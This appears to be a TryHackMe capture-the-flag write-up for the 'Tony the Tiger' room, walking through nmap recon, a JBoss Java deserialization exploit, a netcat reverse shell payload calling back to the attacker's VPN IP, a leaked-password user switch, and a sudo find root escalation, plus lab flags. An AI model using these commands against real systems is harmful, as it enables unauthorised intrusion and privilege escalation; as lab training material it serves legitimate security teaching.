TryHackMe: Tony the Tiger Writeup

Tony the Tiger is a guided room on using a Java Serialisation attack to exploit a machine created by cmnatic.

Reconnaissance

As always, start off with an nmap scan of the target:

$ nmap -sV -v <machine-ip>


PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
1090/tcp open  java-rmi    Java RMI
1091/tcp open  java-rmi    Java RMI
1098/tcp open  java-rmi    Java RMI
1099/tcp open  java-object Java Object Serialization
4446/tcp open  java-object Java Object Serialization
5500/tcp open  hotline?
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
8083/tcp open  http        JBoss service httpd

We see that there is a lot running on this box. Task #3 Q1 asks what service is running on port 8080. The answer is Apache Tomcat/Coyote JSP engine 1.1.

Task #3 Q2 asks for the front-end application on port 8080, which is JBoss.

Find Tony’s Flag

Navigate to port 80 to see Tony the Tiger’s blog.

Read his first post to find the following hint: “So any photos I post must have a deeper meaning to them.”

Hmmm. Perhaps we can find a flag embedded within one of the photos on the site?

Click on the most recent post and download this photo:

Now parse out the flag.

$ strings frosted-flakes.png | grep "THM{"

Exploit

Download the attached challenge resources and execute the exploit with python. We are exploiting a serialization vulnerability within JBoss. Read more about this CVE here from rapid7.

First, start a netcat listener:

$ nc -nlvp 4444

Now, execute the exploit!

$ python exploit.py <machine-ip>:8080 "nc <vpn-ip> 4444 -e /bin/bash" --ysoserial-path ./ysoserial.jar""

We now have a simple reverse shell connection to the target! Read here to upgrade to a more stable bash shell.

Our shell should now look like this:

cmnatic@thm-java-deserial:/$ whoami
cmnatic
cmnatic@thm-java-deserial:/$ 

Find User JBoss’ flag

Move into user jboss home directory and list the contents:

cmnatic@thm-java-deserial:/$  ls -la
total 36
drwxr-xr-x 3 jboss   jboss   4096 Mar  7  2020 .
drwxr-xr-x 5 root    root    4096 Mar  6  2020 ..
-rwxrwxrwx 1 jboss   jboss    181 Mar  7  2020 .bash_history
-rw-r--r-- 1 jboss   jboss    220 Mar  6  2020 .bash_logout
-rw-r--r-- 1 jboss   jboss   3637 Mar  6  2020 .bashrc   
drwx------ 2 jboss   jboss   4096 Mar  7  2020 .cache
-rw-rw-r-- 1 cmnatic cmnatic   38 Mar  6  2020 .jboss.txt 
-rw-r--r-- 1 jboss   jboss    675 Mar  6  2020 .profile 
-rw-r--r-- 1 cmnatic cmnatic  368 Mar  6  2020 note

Let’s examine the note file.

cmnatic@thm-java-deserial:/$ cat /home/jboss/note
Hey JBoss!

Following your email, I have tried to replicate the issues you were having with
the system.

However, I don't know what commands you executed - is there any file where this
history is stored that I can access? 

Oh! I almost forgot... I have reset your password as requested (make sure not to
tell it to anyone!) 

Password: likeaboss

Kind Regards,
CMNatic

Sweet! We just discovered two things: the password for jboss, and that there is something in their .bash_history file.

Check out the .bash_history file:

cmnatic@thm-java-deserial:/$ cat /home/jboss/.bash_history
touch jboss.txt
echo "THM{REDACTED-FLAG}" > jboss.txt

Escalation

Lateral Movement (cmnatic –> jboss)

Use the password we just found to switch to jboss.

cmnatic@thm-java-deserial:/$ su - jboss
Password:
jboss@thm-java-deserial:~$ id
uid=1001(jboss) gid=1001(jboss) groups=1001(jboss)

Privilege Escalation (jboss –> root)

Time to see which commands, if any, we can run with sudo.

jboss@thm-java-deserial:~$ sudo -l
Matching Defaults entries for jboss on thm-java-deserial: 
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jboss may run the following commands on thm-java-deserial:
    (ALL) NOPASSWD: /usr/bin/find

User jboss can run the find command with root privileges to get an elevated bash shell.

jboss@thm-java-deserial:~$ sudo /usr/bin/find . -exec /bin/bash \;
root@thm-java-deserial:~# id
uid=0(root) gid=0(root) groups=0(root)

Print out /root/root.txt

root@thm-java-deserial:/root# cat root.txt 
QkM3N0FDMDcyRUUzMEUzNzYwODA2ODY0RTIzNEM3Q0Y==

root@thm-java-deserial:/root# cat root.txt | base64 -d
BC77AC072EE30E3760806864E234C7CF

This looks like an MD5 hash. I cracked it using the online tool https://crackstation.net/ but John The Ripper or Hashcat should also work.

With that, we have gone from boot-to-root and seized the root flag!